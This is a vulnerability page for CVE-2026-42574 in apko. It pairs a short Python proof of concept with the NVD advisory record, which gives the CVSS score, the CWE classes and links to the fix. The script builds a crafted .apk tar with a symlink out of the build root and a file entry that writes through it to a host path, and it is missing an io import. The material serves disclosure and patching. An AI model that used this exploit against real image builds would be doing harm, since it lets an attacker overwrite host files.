CVE-2026-42574

import tarfile import os # Create a malicious tar file (simulating crafted .apk) filename = "exploit.apk" # 1. Create a symlink entry pointing outside the build root (e.g., /tmp) link = tarfile.TarInfo(name="path/to/evil_link") link.type = tarfile.SYMTYPE link.linkname = "/tmp/pwned" # Target outside root # 2. Create a file entry that writes through the symlink file_content = b"MALICIOUS CONTENT" file_entry = tarfile.TarInfo(name="path/to/evil_link/malicious.txt") file_entry.size = len(file_content) with tarfile.open(filename, "w") as tar: tar.addfile(link) tar.addfile(file_entry, io.BytesIO(file_content)) print(f"Created {filename}. When apko extracts this, it writes to /tmp/pwned/malicious.txt")

{"cve": {"id": "CVE-2026-42574", "sourceIdentifier": "[email protected]", "published": "2026-05-09T20:16:29.420", "lastModified": "2026-05-09T20:16:29.420", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "apko allows users to build and publish OCI container images built from apk packages. From version 0.14.8 to before version 1.2.5, a crafted .apk could install a TypeSymlink tar entry whose target pointed outside the build root, and a subsequent directory-creation or file-write entry in the same or later archive could traverse that symlink to reach host paths the build user could write to. This issue has been patched in version 1.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://github.com/chainguard-dev/apko/commit/f5a96e1299ac81c7ea9441705ec467688086f442", "source": "[email protected]"}, {"url": "https://github.com/chainguard-dev/apko/pull/2187", "source": "[email protected]"}, {"url": "https://github.com/chainguard-dev/apko/releases/tag/v1.2.5", "source": "[email protected]"}, {"url": "https://github.com/chainguard-dev/apko/security/advisories/GHSA-qq3r-w4hj-gjp6", "source": "[email protected]"}]}}